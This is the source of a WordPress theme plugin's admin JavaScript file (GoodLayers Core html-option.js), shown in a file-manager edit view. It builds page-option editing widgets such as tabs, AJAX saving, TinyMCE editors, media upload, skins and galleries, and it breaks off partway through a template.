File manager - Edit - /home/adiance/public_html/beta/wp-content/plugins/goodlayers-core/framework/js/html-option.js
Back
// for page option (function($){ "use strict"; $(document).ready(function(){ $('body.profile-php, body.user-edit-php, body.edit-tags-php, body.term-php').each(function(){ var html_option = new gdlrCoreHtmlOption($(this)); }); $('.gdlr-core-page-option-content').each(function(){ var data_input = $(this).siblings('.gdlr-core-page-option-value'); var html_option = new gdlrCoreHtmlOption($(this)); $('#post-preview, #publish, #save-post, .editor-post-publish-button, .editor-post-preview').click(function(){ data_input.val(JSON.stringify(html_option.get_val())); }); $('#wpbody-content').on('click', '.editor-post-publish-button, .editor-post-preview', function(){ data_input.val(JSON.stringify(html_option.get_val())); }); // action for tab var tab_head = $(this).find('#gdlr-core-page-option-tab-head'); var tab_content = $(this).find('#gdlr-core-page-option-tab-content'); tab_head.children('.gdlr-core-page-option-tab-head-item').click(function(){ if( $(this).hasClass('gdlr-core-active') ){ return; } var active_tab = $(this).attr('data-tab-slug'); $(this).addClass('gdlr-core-active').siblings().removeClass('gdlr-core-active'); tab_content.find('[data-tab-slug="' + active_tab + '"]').fadeIn(200).siblings().css('display', 'none'); }); // ajax save var security = $(this).siblings('[name="page_option_security"]').val(); $(this).siblings('.gdlr-core-page-option-head').on('click', '.gdlr-core-page-option-head-save', function(){ if( $(this).hasClass('gdlr-core-now-loading') ) return; var nav_update_button = $(this).addClass('gdlr-core-now-loading'); var post_id = $(this).attr('data-post-id'); data_input.val(JSON.stringify(html_option.get_val())); // nonce $.ajax({ type: 'POST', url: $(this).attr('data-ajax-url'), data: { 'security': security, 'action': 'gdlr_core_save_page_option_data', 'post_id': post_id, 'name': data_input.attr('name'), 'value': data_input.val() }, dataType: 'json', error: function(jqXHR, textStatus, errorThrown){ nav_update_button.removeClass('gdlr-core-now-loading'); gdlr_core_alert_box({ status: 'failed', head: nav_update_button.attr('data-failed-head'), message: nav_update_button.attr('data-failed-message') }); // for displaying the debug text console.log(jqXHR, textStatus, errorThrown); }, success: function(data){ nav_update_button.removeClass('gdlr-core-now-loading'); gdlr_core_alert_box({status: data.status, head: data.head, message: data.message}); } }); }); }); // gdlr-core-page-option-content }); // document ready })(jQuery); // html option (function($){ "use strict"; // use to init tmce element function gdlr_core_remove_unused_tmce_element(){ if( typeof(tinymce) != 'undefined' ){ window.gdlr_core_tmce_id_removed for( var i = 1; i < window.gdlr_core_tmce_id; i++ ){ var tmce_id = 'gdlr_core_tmce' + i; var temp_tmce = tinymce.get(tmce_id); if( temp_tmce ){ if( $('#wp-' + tmce_id + '-wrap').length == 0 ){ temp_tmce.remove(); } } } } } function gdlr_core_init_tmce_element( obj ){ if( typeof(gdlr_core_tmce) == 'undefined' ) return; if( typeof(window.gdlr_core_tmce_id) == 'undefined' ){ window.gdlr_core_tmce_id = 1; }else{ window.gdlr_core_tmce_id++; } gdlr_core_remove_unused_tmce_element(); var tmce_id = 'gdlr_core_tmce' + window.gdlr_core_tmce_id; obj.attr('data-tmce-id', tmce_id); var temp_tmce = gdlr_core_tmce.replace(/html-active/g, 'tmce-active'); temp_tmce = temp_tmce.replace(/gdlr_core_tmce/g, tmce_id); var tmce_dom = $(temp_tmce); tmce_dom.insertAfter(obj); var content = obj.html(); if( content.length > 0 ){ if(tmce_dom.hasClass('tmce-active')){ tmce_dom.find('textarea').val(content); }else if(tmce_dom.hasClass('html-active')){ if( typeof(window.switchEditors) != 'undefined' ){ tmce_dom.find('textarea').val(window.switchEditors._wp_Nop(content)); }else{ tmce_dom.find('textarea').val(gdlr_core_wp_Nop(content)); } } } // init tinymce element if( (typeof(tinymce) !== 'undefined') && (typeof(tinyMCEPreInit.mceInit['gdlr_core_tmce']) !== 'undefined') ){ var mceInit = JSON.parse(JSON.stringify(tinyMCEPreInit.mceInit['gdlr_core_tmce'])); mceInit.selector = '#' + tmce_id; mceInit.body_class = mceInit.body_class.replace(/gdlr_core_tmce/g, tmce_id); mceInit.setup = function(ed){ ed.on('change', function(e){ $(e.target.targetElm).trigger('gdlr_core_change'); }); } var tmce_wrap = tinymce.$('#wp-' + tmce_id + '-wrap'); if( (tmce_wrap.hasClass('tmce-active') || !tinyMCEPreInit.qtInit.hasOwnProperty(tmce_id)) && !mceInit.wp_skip_init ) { if( tmce_wrap.hasClass('html-active') ){ tmce_wrap.removeClass('html-active').addClass('tmce-active'); } tinymce.init(mceInit); } } // init quicktag if( typeof quicktags !== 'undefined' ){ var qtInit = JSON.parse(JSON.stringify(tinyMCEPreInit.qtInit['gdlr_core_tmce'])); qtInit.id = tmce_id; quicktags(qtInit); QTags._buttonsInit(); } } function gdlr_core_get_tmce_data( obj ){ var tmce_id = obj.attr('data-tmce-id'); if( typeof(tinymce) != 'undefined' ){ if(tinymce.$('#wp-' + tmce_id + '-wrap').hasClass('tmce-active')){ return tinymce.get(tmce_id).getContent(); }else if(tinymce.$('#wp-' + tmce_id + '-wrap').hasClass('html-active')){ if( typeof(window.switchEditors) != 'undefined' ){ return window.switchEditors._wp_Autop($('#' + tmce_id).val()); }else{ return gdlr_core_autop($('#' + tmce_id).val()); } } }else{ return gdlr_core_wp_Nop($('#' + tmce_id).val()); } return ''; } // html option window.gdlrCoreHtmlOption = function( container ){ this.container = $(container); this.init(); } gdlrCoreHtmlOption.prototype = { // bind the action and events init: function(){ // bind input format this.bind_input_format(); // bind the image uploader this.bind_image_uploader(); // bind the font picker this.bind_font_picker(); // bind the icon selector this.bind_icon_selector(); // bind conditional for showing item this.bind_conditional(); // bind the fixed event item this.rebind(); }, // rebind specific element when content in the container changed rebind: function(){ var t = this; t.container.find('.gdlr-core-html-option-colorpicker').wpColorPicker(); t.init_conditional(); t.bind_tinymce(); t.bind_font_slider(); t.bind_import(); t.bind_export(); t.bind_datepicker(); // bind custom item t.container.find('[data-type="custom"]').each(function(){ var custom_val = $(this).children('.gdlr-core-html-option-custom-value').data('value'); var custom_options = $(this).children('.gdlr-core-html-option-custom-options').data('value'); if( custom_val ){ $(this).data('value', custom_val); } if( custom_options ){ $(this).data('options', custom_options); } if( $(this).is('[data-item-type="skin-settings"]') ){ new gdlr_core_skin_settings($(this)); }else if( $(this).is('[data-item-type="fontupload"]') ){ new gdlr_core_font_upload($(this)); }else if( $(this).is('[data-item-type="thumbnail-sizing"]') ){ new gdlr_core_thumbnail_sizing($(this)); }else if( $(this).is('[data-item-type="tabs"]') ){ new gdlr_core_tabs($(this)); }else if( $(this).is('[data-item-type="gallery"]') ){ new gdlr_core_gallery($(this)); }else if( $(this).is('[data-item-type="padding"]') ){ new gdlr_core_padding($(this)); }else if( $(this).is('[data-item-type="key-value"]') ){ new gdlr_core_key_value($(this)); } }); }, // retrieve all value within the container area get_val: function(){ var obj = {}; this.container.find('[data-slug]').each(function(){ var slug = $(this).attr('data-slug'); var input_type = $(this).attr('data-type'); if( input_type == 'text' || input_type == 'textarea' || input_type == 'combobox' || input_type == 'upload' || input_type == 'colorpicker' || input_type == 'font' || input_type == 'multi-combobox' ){ obj[slug] = $(this).val(); }else if( input_type == 'checkbox' ){ obj[slug] = ($(this).is(':checked'))? 'enable': 'disable'; }else if( input_type == 'radioimage' ){ if( $(this).is(':checked') ){ obj[slug] = $(this).val(); } }else if( input_type == 'tinymce' ){ obj[slug] = gdlr_core_get_tmce_data($(this)); }else if( input_type == 'custom' ){ if( $(this).attr('data-item-type') == 'tabs' ){ $(this).trigger('update_data'); } if( $(this).data('value') ){ if( $.isArray($(this).data('value')) && $(this).data('value').length == 0 ){ obj[slug] = ''; }else{ obj[slug] = $(this).data('value'); } }else{ obj[slug] = ''; } } }); return obj; }, // get_val // condition for show/hide item init_conditional: function(){ this.container.find('[data-condition]').each(function(){ var item = $(this).closest('.gdlr-core-html-option-item, .gdlr-core-html-option-tabs-field'); var wrapper = item.parent(); var conditions = JSON.parse($(this).attr('data-condition')); var visible = true; for( var key in conditions ){ if( item.is('.gdlr-core-html-option-item') ){ var obj = wrapper.find('[data-slug="' + key + '"]'); }else if( item.is('.gdlr-core-html-option-tabs-field') ){ var obj = wrapper.find('[data-tabs-slug="' + key + '"]'); } var obj_val = ''; if( obj.is('input[type="checkbox"]') ){ obj_val = (obj.is(':checked'))? 'enable': 'disable'; }else if( obj.is('input[type="radio"]') ){ obj_val = obj.filter(':checked').val(); }else{ obj_val = obj.val(); } visible = visible && (obj_val == conditions[key] || (conditions[key].constructor === Array && conditions[key].indexOf(obj_val) != -1)); } if( !visible ){ $(this).hide(); }else{ $(this).show(); } }); }, // init_conditional bind_conditional: function(){ this.container.on('change', 'select, input[type="checkbox"], input[type="radio"]', function(){ var item = $(this).closest('.gdlr-core-html-option-item, .gdlr-core-html-option-tabs-field'); var wrapper = item.parent(); wrapper.children('[data-condition]').each(function(){ var conditions = JSON.parse($(this).attr('data-condition')); var visible = true; for( var key in conditions ){ if( item.is('.gdlr-core-html-option-item') ){ var obj = wrapper.find('[data-slug="' + key + '"]'); }else if( item.is('.gdlr-core-html-option-tabs-field') ){ var obj = wrapper.find('[data-tabs-slug="' + key + '"]'); } var obj_val = ''; if( obj.is('input[type="checkbox"]') ){ obj_val = (obj.is(':checked'))? 'enable': 'disable'; }else if( obj.is('input[type="radio"]') ){ obj_val = obj.filter(':checked').val(); }else{ obj_val = obj.val(); } visible = visible && (obj_val == conditions[key] || (conditions[key].constructor === Array && conditions[key].indexOf(obj_val) != -1)); } if( !visible ){ $(this).slideUp(200); }else{ $(this).slideDown(200); } }); }); }, // bind_conditional //////////////// // item event //////////////// bind_input_format: function(){ this.container.on('change', 'input[data-input-type]', function(){ var val = $(this).val(); var match = val.match(/^-?\d+/g); var suffix = ''; if( $(this).attr('data-input-type') == 'pixel' ){ if( val.length > 0 && val.charAt(val.length-1) == '%' ){ suffix = '%'; }else if( val.length > 0 && val.charAt(val.length-2) == 'e' && val.charAt(val.length-1) == 'm' ){ suffix = 'em'; }else{ suffix = 'px'; } } if( typeof(match) != 'undefined' && match != null ){ $(this).val(parseInt(match[0]) + suffix); } $(this).trigger('gdlr_core_change'); }); this.container.on('keydown', 'input[data-input-type]', function(e){ var code = (e.keyCode ? e.keyCode : e.which); if( code == 40 || code == 38 ){ var val = $(this).val(); var match = val.match(/^-?\d+/g); var suffix = ''; if( $(this).attr('data-input-type') == 'pixel' ){ if( val.length > 0 && val.charAt(val.length-1) == '%' ){ suffix = '%'; }else if( val.length > 0 && val.charAt(val.length-2) == 'e' && val.charAt(val.length-1) == 'm' ){ suffix = 'em'; }else{ suffix = 'px'; } } if( typeof(match) != 'undefined' && match != null ){ if( code == 40 ){ $(this).val( (parseInt(match[0]) - 1) + suffix ); }else if( code == 38 ){ $(this).val( (parseInt(match[0]) + 1) + suffix ); } $(this).trigger('gdlr_core_change'); } } }); }, bind_image_uploader: function(){ this.container.on('click', '.gdlr-core-upload-image-button', function(){ var image_wrapper = $(this).closest('.gdlr-core-html-option-upload-appearance'); var image_container = image_wrapper.children('.gdlr-core-upload-image-container'); var image_input = image_wrapper.children('.gdlr-core-html-option-upload'); var image_input_url = image_wrapper.children('.gdlr-core-html-option-upload-image'); if( $(this).hasClass('gdlr-core-upload-image-add') ){ var frame = wp.media({ title: html_option_val.text.upload_media, button: { text: html_option_val.text.choose_media }, multiple: false }).on('select', function(){ // Get media attachment details from the frame state var attachment = frame.state().get('selection').first().toJSON(); image_wrapper.addClass('gdlr-core-active'); image_container.css('background-image', 'url(' + attachment.url + ')'); image_input.val(attachment.id); image_input_url.val(attachment.url); image_input.trigger('change'); }).open(); }else if( $(this).hasClass('gdlr-core-upload-image-remove') ){ image_wrapper.removeClass('gdlr-core-active'); image_container.css('background-image', ''); image_input.val(''); image_input_url.val(''); image_input.trigger('change'); } }); }, // bind image uploader bind_datepicker: function(){ this.container.find('.gdlr-core-html-option-datepicker').each(function(){ $(this).datepicker({ dateFormat : 'yy-mm-dd', changeMonth: true, changeYear: true }); }); }, bind_font_slider: function(){ this.container.find('.gdlr-core-html-option-fontslider').each(function(){ var t = $(this); var val = $(this).val(); var display = $('<div class="gdlr-core-html-option-fontslider-appearance" ></div>'); var min = ($(this).attr('data-min-value'))? parseInt($(this).attr('data-min-value')): 6; var max = ($(this).attr('data-max-value'))? parseInt($(this).attr('data-max-value')): 160; var suffix = ''; if( $(this).attr('data-suffix') != 'none' ){ if( val.length > 0 && val.charAt(val.length-1) == '%' ){ suffix = '%'; }else if( val.length > 0 && val.charAt(val.length-2) == 'e' && val.charAt(val.length-1) == 'm' ){ suffix = 'em'; }else{ suffix = 'px'; } } display.insertBefore($(this)); display.slider({'range': 'min', 'min': min, 'max': max, value: parseInt(val), slide: function(event, ui) { t.val(ui.value + suffix); } }); t.val(parseInt(t.val()) + suffix); // update the font slider when input changes $(this).on('input change', function(){ display.slider('value', parseInt(t.val())); }); }); }, // bind font slider bind_import: function(){ this.container.find('.gdlr-core-html-option-import').each(function(){ var import_form = $(this).find('form'); var import_file = $(this).find('.gdlr-core-html-option-import-file'); var import_button = $(this).find('.gdlr-core-html-option-import-button'); import_button.click(function(){ if( import_file.val().length > 0 ){ gdlr_core_confirm_box({ success: function(){ import_form.submit(); } }); }else{ gdlr_core_alert_box({ status: 'failed', head: 'File not found', message: 'Please select the file before importing', }); } return false; }); }); }, // bind import bind_export: function(){ this.container.find('.gdlr-core-html-option-export').each(function(){ var export_wrap = $(this); var export_button = export_wrap.find('.gdlr-core-html-option-export-button'); export_button.click(function(){ var data_sent = { 'action': export_wrap.attr('data-action'), 'security': html_option_val.text.nonce }; export_wrap.find('.gdlr-core-html-option-export-option').each(function(){ data_sent.options = $(this).val(); }); // ajax to obtain value $.ajax({ type: 'POST', url: html_option_val.text.ajaxurl, data: data_sent, dataType: 'json', beforeSend: function(jqXHR, settings){ export_button.addClass('gdlr-core-now-loading'); }, error: function(jqXHR, textStatus, errorThrown){ gdlr_core_alert_box({ status: 'failed', head: html_option_val.text.error_head, message: html_option_val.text.error_message }); // for displaying the debug text console.log(jqXHR, textStatus, errorThrown); }, success: function(data){ export_button.removeClass('gdlr-core-now-loading'); if( data.status == 'success' ){ gdlr_core_download_file(data.url, data.filename); }else if( data.status == 'success-2' ){ gdlr_core_download_content(data.content, data.filename); }else if( data.status == 'failed' ){ gdlr_core_alert_box({status: data.status, head: data.head, message: data.message}); } } }); }); }); }, // bind export bind_icon_selector: function(){ // change the icon source this.container.on('change', '.gdlr-core-html-option-icons-type-select', function(){ var selected_option = $(this).val(); $(this).parent().siblings('.gdlr-core-html-option-icons-type-wrapper') .children('[data-icon-type="' + selected_option + '"]').fadeIn(200).addClass('gdlr-core-active') .each(function(){ $(this).children('i').css({display: 'inline-block'}); }) .siblings().css({display: 'none'}).removeClass('gdlr-core-active'); $(this).parent().siblings('.gdlr-core-html-option-icons-search').val(''); if( selected_option == 'none' ){ $(this).parent().siblings('.gdlr-core-html-option-icons-search, .gdlr-core-html-option-icons-type-wrapper').slideUp(200); $(this).parent().siblings('[data-slug]').val(''); }else{ $(this).parent().siblings('.gdlr-core-html-option-icons-search, .gdlr-core-html-option-icons-type-wrapper').slideDown(200); $(this).parent().siblings('.gdlr-core-html-option-icons-type-wrapper').slideDown(200) .children('.gdlr-core-active').children('.gdlr-core-active').trigger('click'); } }); // search for an icon this.container.on('input', '.gdlr-core-html-option-icons-search', gdlr_core_debounce(function(){ var keyword = $(this).val(); if( keyword ){ $(this).siblings('.gdlr-core-html-option-icons-type-wrapper').children('.gdlr-core-active') .children().css({display: 'inline-block'}) .not('[class*="' + keyword + '"]').css({display: 'none'}); }else{ $(this).siblings('.gdlr-core-html-option-icons-type-wrapper').children('.gdlr-core-active') .children().css({display: 'inline-block'}); } }, 500)); // click the icon this.container.on('click', '.gdlr-core-html-option-icons-type-wrapper i', function(){ var icon_container = $(this).closest('.gdlr-core-html-option-icons-type-wrapper'); icon_container.find('i').removeClass('gdlr-core-active'); icon_container.siblings('[data-slug]').val($(this).attr('class')); $(this).addClass('gdlr-core-active'); }); }, // bind_icon_selector bind_font_picker: function(){ this.container.on('change', '.gdlr-core-html-option-font', function(){ var display = $(this).parent('.gdlr-core-custom-combobox').siblings('.gdlr-core-html-option-font-display'); var display_url = display.attr('data-base-url') + '&font-family=' + $(this).val(); display.attr('src', display_url); }); }, bind_tinymce: function(){ if( typeof(html_option_val) == 'undefined' ) return; this.container.find('.gdlr-core-html-option-tinymce').each(function(){ gdlr_core_init_tmce_element($(this)); }); }, // bind_tinymce }; // gdlrCoreHtmlOption.prototype ////////////////////////// // padding settings ////////////////////////// var gdlr_core_padding = function(c){ this.container = c; this.values = c.data('value'); this.options = c.data('options'); this.init(); } gdlr_core_padding.prototype = { init: function(){ var t = this; var input_wrap = $('<div class="gdlr-core-html-option-padding" ></div>'); var with_link = !t.container.closest('.gdlr-core-html-option-item').hasClass('gdlr-core-no-link'); // creating an option if( typeof(t.options) == 'undefined' || t.options.length == 0 ){ t.options = ['top', 'right', 'bottom', 'left']; } for( var key in t.options ){ var input = $('<input class="gdlr-core-html-option-padding-input" />').attr('data-padding-slug', t.options[key]); if( this.container.attr('data-input-type') ){ input.attr('data-input-type', this.container.attr('data-input-type')); } if( typeof(t.values) != 'undefined' && typeof(t.values[t.options[key]]) != 'undefined' ){ input.val(t.values[t.options[key]]); } input_wrap.append( $('<div class="gdlr-core-html-option-padding-item" ></div>') .append(input) .append('<span>' + t.options[key] + '</span>') ); } // add link between input box if( with_link ){ var type = 'link'; if( typeof(t.values) != 'undefined' && typeof(t.values['settings']) != 'undefined' ){ type = t.values['settings']; } var settings = $('<div class="gdlr-core-html-option-padding-settings" >\ <i class="fa fa-link" data-padding-type="link" ></i><i class="fa fa-unlink" data-padding-type="unlink" ></i>\ <input type="hidden" value="' + type + '" data-padding-slug="settings" />\ </div>'); settings.find('[data-padding-type="' + type + '"]').addClass('gdlr-core-active'); settings.find('[data-padding-type]').click(function(){ if( $(this).hasClass('gdlr-core-active') ) return; type = $(this).attr('data-padding-type'); $(this).addClass('gdlr-core-active').siblings('[data-padding-type]').removeClass('gdlr-core-active'); $(this).siblings('[data-padding-slug]').val(type); t.update_data(); }); input_wrap.append(settings); } // event input_wrap.on('input change gdlr_core_change', 'input', function(e){ if( type == 'link' ){ $(this).closest('.gdlr-core-html-option-padding-item') .siblings('.gdlr-core-html-option-padding-item').find(' [data-padding-slug]').val($(this).val()); } t.update_data(); }); t.container.append(input_wrap); }, // init update_data: function(){ var t = this; t.values = {}; t.container.find('[data-padding-slug]').each(function(){ t.values[$(this).attr('data-padding-slug')] = $(this).val(); }); t.container.data('value', t.values); } }; ////////////////////////// // skin settings ////////////////////////// var gdlr_core_skin_settings = function(c){ this.container = c; this.values = c.data('value'); this.input_name = $('<input class="gdlr-core-html-option-text" placeholder="' + html_option_val.skin.input + '" />'); this.input_submit = $('<div class="gdlr-core-html-option-skin-input-add" ></div>'); this.skin_container = $('<div class="gdlr-core-html-option-skin-container clearfix" ></div>'); this.template = $('<div class="gdlr-core-html-option-skin-template" >\ <div class="gdlr-core-html-option-skin-head" >\ <input type="hidden" data-skin-slug="name" >\ <div class="gdlr-core-html-option-skin-name" ></div>\ <div class="gdlr-core-html-option-skin-remove" ></div>\ </div>\ </div>'); // create the template dom var template_options = c.data('options'); var skin_item = $('<div class="gdlr-core-html-option-skin-item" ></div>').appendTo(this.template); for( var key in template_options ){ if( typeof(template_options[key].type) != 'undefined' && template_options[key].type == 'title' ){ skin_item.append( $('<div class="gdlr-core-html-option-skin-item-section-title" ></div>').append(template_options[key].title) ); }else{ skin_item.append( $('<div class="gdlr-core-html-option-skin-item-content"></div>') .append( $('<div class="gdlr-core-html-option-skin-item-title" ></div>').append(template_options[key].title) ) .append( $('<input type="text" class="gdlr-core-html-option-skin-item-color" />').attr({ 'data-skin-slug': key, 'data-default': template_options[key].default }).val(template_options[key].default) ) ); } } // init the class this.init(); } gdlr_core_skin_settings.prototype = { init: function(){ var t = this; // initialte the elements $('<div class="gdlr-core-html-option-skin-input-wrapper clearfix" ></div>') .append( $('<div class="gdlr-core-html-option-skin-input" >') .append(t.input_name) .append(t.input_submit) ) .append( $('<div class="gdlr-core-html-option-item-description" ></div>').html(html_option_val.skin.description) ) .appendTo(t.container); t.container.append(t.skin_container); for( var key in t.values ){ t.skin_container.append( t.get_template(t.values[key]) ); } // bind submit button t.bind_submit(); // bind toggle/remove button t.bind_head_button(); }, bind_submit: function(){ var t = this; t.input_submit.click(function(){ var skin_name = t.input_name.val(); if( skin_name.length > 0 ){ // search if name is duplicated for( var key in t.values ){ if( t.values[key].name == skin_name ){ gdlr_core_alert_box({ status: 'failed', message: html_option_val.skin.duplicate_input, duration: 2500 }); return; } } t.input_name.val(""); t.create_skin(skin_name); }else{ gdlr_core_alert_box({ status: 'failed', message: html_option_val.skin.empty_input, duration: 2000 }); } }); }, bind_head_button: function(){ var t = this; t.container.on('click', '.gdlr-core-html-option-skin-remove', function(){ var skin_remove = $(this); gdlr_core_confirm_box({ success: function(){ skin_remove.closest('.gdlr-core-html-option-skin-template').slideUp(200, function(){ $(this).remove(); t.update_data(); }); } }); return false; }); t.container.on('click', '.gdlr-core-html-option-skin-head', function(){ $(this).closest('.gdlr-core-html-option-skin-head').siblings('.gdlr-core-html-option-skin-item').slideToggle(200); }); }, create_skin: function( skin_name ){ var t = this; var template = t.get_template({name: skin_name}); t.skin_container.append(template); template.find('.gdlr-core-html-option-skin-item').css({display: 'block'}); template.css('display', 'none').slideDown(200, function(){ t.update_data(); }); }, get_template: function( values ){ var t = this; var template = t.template.clone(); for( var key in values ){ if( key == 'name' ){ template.find('[data-skin-slug="' + key + '"]').val(values[key]) .siblings('.gdlr-core-html-option-skin-name').html(values[key]); }else{ template.find('[data-skin-slug="' + key + '"]').val(values[key]); } } template.find('.gdlr-core-html-option-skin-item-color').wpColorPicker({ change: gdlr_core_debounce(function(event, ui){ t.update_data(); }, 500), clear: function(){ t.update_data(); } }); return template; }, update_data: function(){ var t = this; t.values = []; t.skin_container.find('.gdlr-core-html-option-skin-template').each(function(){ var skin_item = {}; $(this).find('[data-skin-slug]').each(function(){ skin_item[$(this).attr('data-skin-slug')] = $(this).val(); }); t.values.push(skin_item); }); t.container.data('value', t.values); } }; // gdlr_core_skin_settings.prototype ////////////////////////// // gallery settings ////////////////////////// var gdlr_core_gallery = function(c){ var t = this; t.container = c; t.values = c.data('value'); t.options = c.data('options'); t.gallery_container = $('<div class="gdlr-core-html-option-gallery-container" ></div>'); t.add_button = $('<div class="gdlr-core-html-option-gallery-add" ><i class="icon_plus" ></i></div>'); t.template = $('<div class="gdlr-core-html-option-gallery-template">\ <img class="gdlr-core-html-option-gallery-template-thumbnail" src="" alt="" /> \ <div class="gdlr-core-html-option-gallery-template-remove" ><i class="fa fa-remove" ></i></div>\ </div>'); t.init(); } gdlr_core_gallery.prototype = { init: function(){ var t = this; // initialize the gallery t.container.append(t.add_button).append(t.gallery_container); for( var key in t.values ){ t.add_template(t.values[key]); } // bind add image event t.bind_add(); // bind option edit t.bind_gallery_edit(); // bind remove image event t.gallery_container.on('click', '.gdlr-core-html-option-gallery-template-remove', function(){ $(this).closest('.gdlr-core-html-option-gallery-template').fadeOut(200, function(){ $(this).remove(); t.update_data(); }); return false; }); t.gallery_container.sortable({ tolerance: 'pointer', stop: function( e, ui ){ t.update_data(); } }); }, // init bind_add: function(){ var t = this; t.add_button.click(function(){ var frame = wp.media({ title: html_option_val.text.upload_media, button: { text: html_option_val.text.choose_media }, multiple: 'add' }).on('select', function(){ // Get media attachment details from the frame state var attachments = frame.state().get('selection').toJSON(); for( var key in attachments ){ if( typeof(attachments[key].sizes.thumbnail) != 'undefined' ){ t.add_template({ id: attachments[key].id, thumbnail: attachments[key].sizes.thumbnail.url }); }else{ t.add_template({ id: attachments[key].id, thumbnail: attachments[key].sizes.full.url }); } } t.update_data(); }).open(); }); }, // bind_add bind_gallery_edit: function(){ var t = this; t.gallery_container.on('click', '.gdlr-core-html-option-gallery-template', function(){ var gallery_item = $(this); var loading = $('<div class="gdlr-core-html-option-gallery-loading" ></div>'); $.ajax({ type: 'POST', url: html_option_val.text.ajaxurl, data: { 'action': 'gdlr_get_gallery_options', 'security': html_option_val.text.nonce, 'options': t.options, 'value': $(this).data('value') }, dataType: 'json', beforeSend: function(jqXHR, settings){ loading.css({display: 'none'}).appendTo('body'); loading.fadeIn(150); }, error: function(jqXHR, textStatus, errorThrown){ gdlr_core_alert_box({ status: 'failed', head: html_option_val.text.error_head, message: html_option_val.text.error_message }); // for displaying the debug text console.log(jqXHR, textStatus, errorThrown); }, success: function(data){ loading.remove(); if( data.status == 'success' ){ t.gallery_lb_edit( data.option_content, gallery_item ); }else if( data.status == 'failed' ){ gdlr_core_alert_box({status: data.status, head: data.head, message: data.message}); } } }); }); }, // bind_gallery_edit gallery_lb_edit: function( content, current_item ){ var t = this; var lb_content = $('<div class="gdlr-core-gallery-lightbox-content"></div>'); $('body').append(lb_content); lb_content.append(content); lb_content.css({opacity: 0}).animate({opacity: 1}, 400); // action for html option script var html_option = new gdlrCoreHtmlOption(lb_content); // close lb action lb_content.find('#gdlr-core-gallery-lb-head-close').click(function(){ lb_content.fadeOut(200, function(){ $(this).remove(); }); }); // save button lb_content.find('#gdlr-core-gallery-lb-options-save').click(function(){ var new_value = $.extend(current_item.data('value'), html_option.get_val()); current_item.data('value', new_value); t.update_data(); lb_content.fadeOut(200, function(){ $(this).remove(); }); }); }, // gallery_lb_edit add_template: function( values ){ var template = this.template.clone(); template.data('value', values); template.find('.gdlr-core-html-option-gallery-template-thumbnail').attr('src', values.thumbnail); this.gallery_container.append(template); }, // get_template update_data: function(){ var t = this; t.values = []; t.gallery_container.find('.gdlr-core-html-option-gallery-template').each(function(){ t.values.push($(this).data('value')); }); t.container.data('value', t.values); } // update_data }; // gdlr_core_gallery.prototype ////////////////////////// // key value settings ////////////////////////// var gdlr_core_key_value = function(c){ var t = this; t.container = c; t.values = c.data('value'); t.tab_container = $('<div class="gdlr-core-html-option-key-value-container" >'); t.add_button = $('<div class="gdlr-core-html-option-key-value-add" ></div>'); t.item_template = $('<div class="gdlr-core-html-option-key-value-template" >\ <div class="gdlr-core-html-option-key-value-wrap clearfix" >\ <div class="gdlr-core-html-option-key-value-first">\ <input type="text" class="gdlr-core-html-option-key-value-key" data-key-value-slug="key" placeholder="Key" />\ </div>\ <div class="gdlr-core-html-option-key-value-second">\ <input type="text" class="gdlr-core-html-option-key-value-value" data-key-value-slug="value" placeholder="Value" />\ </div>\ <div class="gdlr-core-html-option-key-value-remove"></div>\ </div>\ </div>'); t.init(); } gdlr_core_key_value.prototype = { init: function(){ var t = this; t.container.append(t.tab_container); t.container.closest('.gdlr-core-html-option-item-input').siblings('.gdlr-core-html-option-item-title').append(t.add_button); t.bind_add(); // init the content if( t.values && t.values.length > 0 ){ for( var key in t.values ){ t.tab_container.append(t.get_template(t.values[key])); } } // bind sortable t.tab_container.sortable({ tolerance: 'pointer', stop: function( e, ui ){ t.update_data(); } }); // bind the remove button t.container.on('click', '.gdlr-core-html-option-key-value-remove', function(){ $(this).closest('.gdlr-core-html-option-key-value-template').slideUp(200, function(){ $(this).remove(); t.update_data(); }); }); // bind the input change t.container.on('input change', 'input[type="text"]', gdlr_core_debounce(function(){ t.update_data(); }, 500)); }, bind_add: function(){ var t = this; t.add_button.click(function(){ var template = t.get_template(); t.tab_container.append(template); template.css({display: 'none'}).slideDown(200); t.update_data(); }); }, // bind_add get_template: function( values ){ var template = this.item_template.clone(); // assign value for( var key in values ){ template.find('[data-key-value-slug="' + key + '"]').each(function(){ $(this).val(values[key]); }); } return template; }, // get_template update_data: function(){ var t = this; t.values = []; t.tab_container.find('.gdlr-core-html-option-key-value-template').each(function(){ var tab_item = {}; $(this).find('[data-key-value-slug]').each(function(){ tab_item[$(this).attr('data-key-value-slug')] = $(this).val(); }); t.values.push(tab_item); }); t.container.data('value', t.values); } // update_data } // gdlr_core_key_value.prototype ////////////////////////// // tabs settings ////////////////////////// var gdlr_core_tabs = function(c){ var t = this; t.container = c; t.values = c.data('value'); t.tabs_container = $('<div class="gdlr-core-html-option-tabs-container" ></div>'); t.add_button = $('<div class="gdlr-core-html-option-tabs-add"></div>'); t.template = { text: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <input type="text" class="gdlr-core-html-option-tabs-input gdlr-core-html-option-text" data-tabs-slug="" >\ </div>', textarea: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <textarea class="gdlr-core-html-option-tabs-input gdlr-core-html-option-textarea" data-tabs-slug="" ></textarea>\ </div>', tmce: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <div class="gdlr-core-html-option-tinymce" data-type="tinymce" data-tabs-slug="" ></div>\ </div>', combobox: '<div class="gdlr-core-html-option-tabs-field clearfix" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <div class="gdlr-core-custom-combobox" >\ <select class="gdlr-core-html-option-combobox" data-type="combobox" data-tabs-slug="" ></select>\ </div>\ </div>', colorpicker: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <input type="text" class="gdlr-core-html-option-tabs-colorpicker gdlr-core-html-option-colorpicker" data-tabs-slug="" >\ </div>', checkbox: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <label>\ <input type="checkbox" class="gdlr-core-html-option-checkbox" data-tabs-slug="" checked="checked">\ <div class="gdlr-core-html-option-checkbox-appearance gdlr-core-noselect">\ <span class="gdlr-core-checkbox-button gdlr-core-on">' + html_option_val.tabs.tab_checkbox_on + '</span>\ 